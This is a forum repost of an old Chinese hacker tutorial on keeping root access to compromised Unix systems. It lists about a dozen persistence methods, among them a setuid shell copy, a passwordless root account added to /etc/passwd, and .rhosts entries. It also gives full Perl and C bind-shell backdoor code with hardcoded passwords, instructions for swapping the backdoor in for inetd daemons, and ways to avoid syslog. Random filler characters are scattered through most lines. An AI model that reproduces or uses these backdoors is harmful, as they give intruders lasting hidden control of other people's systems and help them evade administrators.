找回密码
 注册

QQ登录

只需一步,快速开始

如何创建后门

[复制链接]
发表于 2011-1-13 17:04:25 | 显示全部楼层 |阅读模式
参考文献: $ r/ V( ^; ?. Y! u1 v- C, X
Article: backdoor from The Infinity Concept Issue II + Z% a& x7 k+ T- r+ S' X) l0 [! T3 D
Src: b4b0.c by b4b0
7 d$ I1 f! N! }) @( |) r; U+ E+ GSrc: daemonsh.pl by van Hauser / [THC] in 1997'
- C( [- V& k3 o! @7 R
: B* L6 a' Z/ }' H; O-- 2 ~- d/ E) K* q% \+ v- z+ t3 P

6 g8 \( T4 J8 R" J" l8 C' S千辛万苦(or 轻而易举)的取得root后,当然希望长久的保持. 以被以后用来。。。d0ing what u want t0 d0 :) 传统的方法就是建立一个后门(backd00r).即使入侵被发现,好 的(先进)后门仍然能够使你再次轻松的破门而入 -- 请记住: " we come back and we are the h.a.c.k.e.r "
( o: |6 p4 d9 E8 X  H; y2 i--
2 q1 z9 _' B2 v创建后门的方法如下: 4 \6 q  ~1 T& Q, E" E( w- I& S
- $ d# g& m: |% u6 ]0 ^
1. setuid
5 J2 B; O7 V0 Z+ `0 ?) ]; ?#cp /bin/sh /tmp/.backdoor
" @" U0 d: w, v#chmod u+s /tmp/.backdoor
% S4 d* [" J) d加上 suid 位到shell 上,最为简单方便,但也最为容易被ADM 发现 find / -perm 4000 -print;同时在大多数的SUNOS 上 你会发现不能setuid。-- 适用于新手; - P' ]4 x; b/ R7 n/ X/ C
-
+ ]6 t! E8 L( r1 W: T9 I0 J2. echo "zer9::0:0::/:/bin/csh" >> /etc/passwd 即给系统增加一个 id 为 0(root)的帐号,无口令; 也很容易被发现。 -- 适用于新手; + ~7 D5 _$ W: e' u1 j7 G
-
# Z) U+ p0 E! b' c& X5 _: i3.echo "+ zer9">>/.rhosts
0 S! }+ J6 Y, l' k$ C( h/ u即本地的名为 zer9 的用户可以直接 rlogin target 无须口令此时的 zer9 就相当于口令,不知道的人是不能进去的. / r/ F! j- ~3 S6 k; z  h
前提是目标的port 512or513or514 opening.
+ K( I/ w. Z, H* B7 Z$ O8 Z% X9 X; y( `注: 如 echo "+ +">>/.rhosts 则任何用户都可rlogin至目标 导致目标门户打开,最好不要; 5 ~1 P1 H  ?1 u+ K! s
还可 echo "+ +">>/etc/hosts.equiv 但这样不能取得root权限;-- 适用于比新手高一点点,比中级水平低一点点的guys;
  g+ N) r' Q5 o( M, A-
, a3 r7 |/ R; J% i8 {+ u5 u- t4.modify sendmail.cf 增加一个"wiz" 命令; . E0 r6 k# C9 |. g% w2 ^$ F! Z  H
usage:
5 i6 D" @8 {4 l$ ytelnet target 25 [enter] * t! K# d. W, B% M* W. f* y
wiz[enter] ! B. s# z. n2 D, R$ q( Y5 A5 }
这是我从SAFEsuite中学到的(但没试过);比较危险。因为几乎所有的扫描器都会刺探本漏洞。不过你可把命令本身该成其他不易猜到的名字。比较复杂,危险,但ADM不易发现,隐蔽性较强;你只在你的机器上试一试就okay了;-- 顾名思意,大师级漏洞; 3 u1 F2 c3 ^9 n# k- u. |
- 7 \- Q' T& }4 J  y: C/ ]/ h: y1 ^
5. crack suck as inetd,login,... 6 C, |2 h# m7 ], E, i, m& R
即安装它们的特络绎版本。你需要找到各版本unix的rootkit;然后分别编译即可;-- 如果目标机上没有安装 tripwire之类的东东,那几乎不可能被发现。linux&sunos&freebsd的可能好找,但其他的了?即使你找到了,你有对应平台上的编译器吗?我有一台运行 slackware,one running irix,one runningsunos,one running hpux,one running digits unix,... 8 J+ o$ G! c; n# p9 {
hahhahha,我又做梦了:)
" V% N; S# C! t  F-- 我个人认为是最好的方法,但实现起来有一定风险,你必须考虑到如果你的木马运行出错怎么办--因为我们所做的一切都必须以不破坏目标机上的任何数据为原则; % T& h0 D7 f3 Y0 |
-
5 ?1 U+ ]4 v9 ^0 M3 e( k  H& b) @6.ping rem0te backd00r 1 T. r9 W& Q' O* ^8 d
即使是防火墙也很少阻止 ICMP 的通过,因此本后门可绕过防火墙。具体的程序你可在 [THC] 的主页发现;我想到了另外一种直接用ping命令实现的可通过防火墙的方法 :一方在防火墙内,一方在防火墙外;除 ICMP 外;通向防火墙内的信息均被过滤掉 :(用 60k data 代表长,10k data 代表短;使用摩尔思编码;(或其他自定义编码)双方通过 ICMPinfo 接受信息(ping 's data length);“嘀,嘀,嘀嘀,嘀,嘀嘀嘀...""长江长江,我是黄河--- 向我开炮!向我开炮”(^o^);以后有时间我会通过程序来实现验证可行性的。(技术上应该没有什么难度)
6 `" g$ n6 A4 E/ S* ~9 U-
/ q7 D3 E" \1 Y. j7.rem0te shell 2 b9 s9 _& @& z7 J
我最喜欢的方式。而且由于绕开了login,故用 who 无法看到--也就是说,避开了utmp&utmpx&wtmp&wtmpx;但没有完全避开 syslogd.ADM仍可以在/var/log/messages中发现 / Z5 V- @; y2 p. X( G  \
你。不过,有一种方法可以彻底完全的旁路 syslogd!且听下面一一道来.
4 E  j8 P/ U9 ?9 D4 K1 Hbindshell的实现有两种:
2 {5 C! \, P: s$ Ca. # X+ f) Z* Y9 |, y/ J% j% S
替换掉 inetd.conf 中的不重要服务,如 rlogind :)在inetd 接受 connect 请求后,直接在本端口利用 system("/bin/csh -i");直接spam 出一个shell, # b) Z) I7 ~4 R" d( I! t
b. 接受 connect 后,在高端spam出一个shell;
5 Q# Y3 C* p5 B( G(更安全 :) 0 F4 q6 {: ~  k9 Z* i1 T
下面我给出一个perl 实现(不需socket libary支持)(pass on sunos5.5.1&slackware 2.0.33&irix6.4&hpux10.2)和一个 gnuc 的实现(test on slackware 2.0.33&irix6.4) " y, O% D7 Y+ @7 K3 t6 b+ b# m
--- 7 _2 J/ w# G' T
perl 版安装方法: 1 `* [' L7 O$ v1 s& a7 d* Z
###无须编译!!只要目标机上有perl支持就okay!
' M4 U* H" F2 w5 T如何判断有无perl: $/>perl [enter]
* p' z, ?+ |5 }! M6 P) [
+ C3 Y( u# f( W* n[ctrl-c] ' b5 ]8 A7 x; \# |0 Z& Z
$/>
* d9 g! i: A/ y% V-
  \) F  f. I  q* c9 D5 g如果你对 /etc/inetd.conf 中的内容不是很熟的话,下面 ' Q+ A. i$ F4 d/ H3 k1 o& _
的方法有很大的危险性, exit(-1) please;
0 ?) P6 N. [! S, A! s& n0 f8 j- . [7 L' O6 W5 U8 G
首先将源程序cut,存为你想要替换的daemon,如in.rexecd or or in.rlogind ,in.pop2d....最好是已经被ADM关掉了,而且不太引人注目的daemon,注意,一定要是 TCP types.然后 / U$ T1 i- ^5 w
mv /usr/sbin/in.rexecd /usr/sbin/in.rexecd.bak :))   ?* ]  e1 K( o. W% Z4 ?% z
cp in.rexecd /usr/sbin/in.rexecd
( k+ K( T+ n1 c+ d: h然后 ps -aux|grep inetd;kill -HUP id(by inetd); 6 c+ m/ L, ^- K2 ]
okay! 连 /etc/inetd.conf 都不要改。重申一点:不论在任何情况下,我们都要尽最大的可能保护数据!
+ t* Q; o8 D& O5 d-
8 o! t+ q" T$ Q# ^: hUsage: nc target (such as 512)
6 S& W" G8 I$ g4 L. K[enter] 5 m) s3 x$ A) e/ s) f0 f* l
ur passwd [enter] 0 n1 J+ P( {/ W% s$ s1 |
(then u login in...:) ' x, B& c; U# B. Q  {; Z

) J6 O! ^4 n$ ?( R/ X7 `----Cut Here------------------------------------------ + N5 g/ v) F! q% p2 s
: V0 ], j  j* F% F, {! D+ a+ k
#!/usr/bin/perl $ {% X9 T8 O8 {6 o
#
9 ]) Z2 a7 I% c+ K! W# BEST ( v) b: ?8 `+ n# j: E
# SIMPLE ) K8 M; c4 P: H8 u) `: S; Z9 m3 H9 V
# rem0te bind shell ; x# P* }$ u- v' r- s: F; O
#[perl version only tcp]
. N, J& Y* g+ N3 Q* w  A$ B# by 6 }$ h+ v. D9 ~& h
# zer9[FTT]
+ }4 l* F8 e# s# zer9@21cn.com
' n6 [" J& {# \/ P4 Q4 `; ], N#passed on allmost unix / }2 |% |. t( g' ]
#greet to:van Hauser/[THC]   S4 D2 Q) I- k' n3 g1 A, d
# for his daemonshell.pl + ?7 ]- W( |' }+ K! n/ z4 c. a8 ]& ~
#
) c2 y% u  `/ J% {8 k/ K& c' [$SHELL="/bin/csh -i"; 1 N1 u5 @5 Y2 p2 {" O, g; X
#d3f4ult p4sswd 1s "wh04r3u" (no quote); 6 D! ]" u& Z7 |. W8 D2 D  R6 X
$PASSWORD="BifqmATb6D5so";
! }& n' F  ?5 g- t3 b( E4 c( \2 \$ s0 c  M& Z
if ($PASSWORD) {
# f1 `' N" u6 x3 a+ P/ m* G/ E  rchop($pass=); % g' q9 I0 y$ b- _4 g/ e
if (crypt($pass, $PASSWORD) ne $PASSWORD) { * ?( U6 f; V: S6 z4 N" Y; j
exit 0; 8 j+ g& \4 w$ K7 H6 ^
} 4 W( p' j2 A: i
exec $SHELL ; ( g' y$ O9 p' L8 p  h  c9 P- ?3 v
exit 0; , C4 R! T: D+ Z- a% g7 Z8 H8 A
} ! J) r2 i7 I1 ~5 N. B: k
% w3 C& c" W5 E9 Y: }. _& y/ p& ^: w5 A
----Cut Here--------------------------------------------
: r$ B! I3 R( A9 E3 O6 J) Y0 _& F) d) b( Z

7 h+ S2 W; c8 f
) K" }; k$ p4 L; B4 J% `8 G5 o6 y0 T+ w. p" d# Y& [1 L
下面是一个for gnuc 的bindshell,first cut it,save as
9 ?5 @% |$ k+ J. `+ v  D; V  [backdoor.c ,then cc backdoor.c -o backdoor
. r# o( a  `9 r+ ]other action just l1ke before; ! W# I! o$ D- {' @  ~5 I& Q/ n) U
Usage: (exp:binding to in.rlogind (513))
  ]' d1 k: U5 V, Jnc target 513 //spam a shell on the high port; # ?, O. [* ~5 @5 `9 L/ G; F
nc target 54321 ( m+ R* K# o4 f5 k& J  B/ c7 y
ur passwd
( Z2 W( V( s, K: D$ Q& ?(then u coming in...) , E/ R' P  E! M! v
" X% a: ]1 k! g! h# ]. u% K7 d3 _9 m
0 [0 [5 C" Q+ w: B
----Cut Here------------------------------------- ' r7 H, w4 C- n

. G- O) `" G, M$ E6 \9 K/*
( p2 }4 [8 A1 {9 Q& j* [ b i n d - s h e l l ]
0 _' n) Q& ^) h" k% K5 Y* by
2 }( |9 C* Y# ~# e. D; l! G* zer9[FTT] ; T* d: P1 z6 X
* zer9@21cn.com
" K+ T; a! b2 |. ^+ V2 i*test on slackware 2.0.33&irix6.4(cc) * u. l2 ?7 T/ b- n  N% P
*cc backdoor.c -o backdoor 5 w6 p9 d% i0 `  I5 J# A
*u c4n p01nt t0 wh1ch p0rt th3 sh3ll t0 sp4m 3 ]' b! Y1 v8 E1 m6 Y
*c0mm4nd l1n3: backdoor [port]
& p, E: t3 e/ g2 y  P- C; K2 ]6 S*d3fault p0rt 1s: 54321 " D/ \* B& h% u
*greets to b4b0 for his b4b0.c
0 U$ ?6 }$ a4 [. o0 E*m4yb3 1 c0uld s4y:
0 X; p+ g' l3 x4 A, e8 J0 Y/ n" n*"0k,b4b0.l1st3n c4r3fully;"
$ }3 s) O/ w$ Z- q6 D$ f' K*s0rry,just a joke. 7 Z3 G/ P: ]' Y! o# ?( c3 h0 L, o/ X
*
2 ^+ r: C7 l5 ]+ [& y8 ?*/ 6 a0 P. }3 @) D/ L4 D
( g5 `% u, h% J. l
#include
$ }+ `5 C+ I# Y# i$ g#include
1 O+ N" I, c& Q- u9 i: }#include
! p1 g( z( a, ?! q( s; K* ^#include
. l6 @  j3 K' g2 J$ Y# d3 F#include
3 ^& C: h/ m9 v7 a; o2 r! t#include 8 g$ ?( P: t7 h9 f% _) o! ?
#include - k1 g0 Q; V, N) k
% f! D$ k0 q3 L1 x

, T6 ^$ ~& \8 I) _; t1 X! x" k#define PassWord "k1n90fth3w0rld"
. `, y  |" d/ Y; c1 C1 y; U/* u c4n us3 crypt l1b4ry t0 sh4d0w 1t */
6 w% g/ x0 e7 M3 R! B5 v  C
" u; p  \0 U0 m* p6 ]" Y#define DefaultPort 54321 : }/ c. e- p5 k
/* d3f4ult b1nd1ng p0rt */
3 L2 P1 m0 @1 y
6 W3 ~" a8 z; F5 c% W; nint main(int argc,char **argv)
2 y# h( G: B4 y1 }{
8 m8 K1 ~" x4 n1 M/ Z9 q( i  pint s,in_s;
) G) E  v& S3 K, @' ystruct sockaddr_in server,client;
$ d" k0 `2 V' [* y4 i4 _$ s9 L; zint client_len,bindport; 7 g7 d. h2 L1 ]: B: `
char recvbuf[1000]; * N  R/ r- Q6 J1 D) a" n. ?
4 y7 f; ]$ d; ~- K" B# d' |
if(argc!=2) bindport=DefaultPort; 0 o! ]3 o, e" _/ ~) X& q1 s
else
1 O0 d% J2 I  O0 b! m' Cbindport=atoi(argv[1]);
! s% Y  {+ p# Q6 @/ ]" z" q; Fif((s=socket(AF_INET,SOCK_STREAM,0))<0)
" N2 `/ d$ [9 i5 `6 f* o# ^. r7 {! W* t7 r{ : b2 o/ ?5 c( z1 f
perror("socket");
1 Y6 J3 w& F2 W! h. Greturn -1;
0 R, N" o7 v! Z0 {/ I7 B8 d}
0 t+ P9 S" l6 g9 h8 tbzero((char *)&server,sizeof(server));
  D9 T* s: U) S' k7 I0 i8 H9 g$ rbzero((char *)&client,sizeof(client)); " s! P; u3 u+ C5 M9 [
bzero(recvbuf,sizeof(recvbuf));
" g& G5 }/ S/ Y9 r  z4 Qserver.sin_family=AF_INET;
; J) g3 V1 S+ N& h& Gserver.sin_port=htons(bindport);
0 j4 ^0 G, X  E: I9 aserver.sin_addr.s_addr=INADDR_ANY;
. i) |* @0 t4 k' Qif(bind(s,(struct sockaddr *)&server,sizeof(server))<0)
7 L/ S( O( ~: {# |' z# R{ $ \0 r8 y4 U' t$ B5 f' E+ }6 }. l9 v
perror("bind"); + ~" |  c4 ]8 f  R1 d2 {! F. ^
return -1;
* u( o5 b( ?! l% s; I! M4 s$ a} 5 x- P8 A6 I! w% B. A
if(listen(s,3)!=0) ) a( j" V$ s; i6 C( u& r
{ $ `. A- ~1 z  y& k7 R
perror("listen"); 7 w, G, F) w1 w- T  j- S7 U+ [
return -1;
, _, b% ^9 F, d) s} & I3 h- x" F% P8 Z) c) V3 q+ \
client_len=sizeof(client); ! T* w! B: a6 Q5 L5 Y
if((in_s=accept(s,(struct sockaddr *)&client,&client_len))<0) & I0 r: E8 m* W+ J0 s% p0 T4 z
{ % \# ~: w- P9 G7 T6 F* _
perror("accept");
- P, g7 s4 C2 nreturn -1;
0 W; P' ]2 k& D2 [3 D}
! y. x! x1 g5 `6 C3 xrecv(in_s,recvbuf,sizeof(recvbuf),0);
% R, T7 I& A% [( l/ {sleep(1);
0 \* R' O2 E9 I$ k# i* C9 C3 gif((strlen(recvbuf)-1)==strlen(PassWord)) # W5 m! Z# `$ Q/ @! M
if(!strncmp(recvbuf,PassWord,strlen(PassWord))) 6 T) G/ Y8 U0 j) D) E. p
{ 1 ^: H& L( G: Y9 k$ \6 \' T: G
send(in_s,"0k4y! c0m1ng 1n...\n",25,0); 5 d  k' [* D  p2 J
close(0);close(1);close(2);
0 c1 @7 b; L$ U; {dup2(in_s,0);dup2(in_s,1);dup2(in_s,2);
% I4 j: f! _- |7 ?execl("/bin/csh","/bin/csh",(char *)0);
) K: }* U" k* m+ K+ Z, X+ w} 1 x8 k2 I: k% w' R
close(s);   a: H0 E8 l  I8 ]% g6 v: z* h1 S/ \
close(in_s);
, ~7 ^! Y3 m+ k9 ]return 0; ; [. J5 [. T- c; `5 M
} & ]4 S0 S( e- u
9 P2 _. S3 [0 I' c  O& ~
----Cut Here-------------------------------------------------
+ W, n2 N7 ~2 F+ U# y- ]- o' n5 \5 X- n$ I
用上面的方法都不能完全的避开syslogd,因为他们都是由inetd 启动的,inetd启动它们的同时已经进行log 了;旁路掉inetd就能完全避开syslog!方法很简单,只要直接在命令行直接启动例程2(c)就可以了,(1perl不行);不过这样很麻烦;一旦ADM关掉计算机就玩完了;比较好的方法是在 /etc/rc.d/rc.local中加入: 7 _3 M. Z2 p% `$ G& K
backdoor & 3 W! m! s* X& ?
但即使这样作了,每次用过后还要再起动一次;更好的方法是写一个具有完全功能(后门功能^o^)的daemon,彻底的解决这个问题;但这样做与hack inetd 那样更有效率(安全)了?
8 g3 {+ w* P( z-- 6 Y" k; u# v6 ]3 W
8.第八种武器就是 crontab
, m. |8 z! g6 F  N) g7 w1 o我只知道原理,没实践过.每到一定时间就往 /etc/passwd 中加入一条uid为0(root)
2 M- B- Q0 P$ r! i的用户;时间一道就delete ,或创建suid's shell...在序言中提到的文章中有详细介绍;
( N. |3 {0 Y5 R" S, @--
8 r1 j/ |3 B" C9.有没有想过只要向系统的一个用户发一个email,OS 就会spam出一个shell?利用用户的home目录下的 .forward 可作到这一点。 , O3 U( T6 f9 C* W8 f# g7 g
--
2 b' |( @" y+ n. w10。修改内核--超级高手的做法;2.2.0的解压文件达到了50几MB,看到就头痛。接着就 jmp ffff0 :) (不是看到内容,而是看到大小);[THC]最近出了篇文章关于这个的。你对自己有信心的话可以看看; : T" A% m8 ?; L
--
% p  ?; z* l! L/ s11.还有就是利用 overflow 程序,虽然我们一般是利用它取得root;但只要 ADM && u 没有 patch ,始终我们可以利用它的,与suid不同的是它不怕被 find / -perm 4000 发现;一般只有 tripwire可发现。 0 f; h3 }% M7 @+ K/ N- b7 Q$ N' F3 J
$ |2 p& Y  o3 M1 O+ g
您需要登录后才可以回帖 登录 | 注册

本版积分规则

QQ|本地广告联系: QQ:905790666 TEL:13176190456|Archiver|手机版|小黑屋|汶上信息港 ( 鲁ICP备19052200号-1 )

GMT+8, 2026-6-14 22:08

Powered by Discuz! X5.0

© 2001-2026 Discuz! Team.

快速回复 返回顶部 返回列表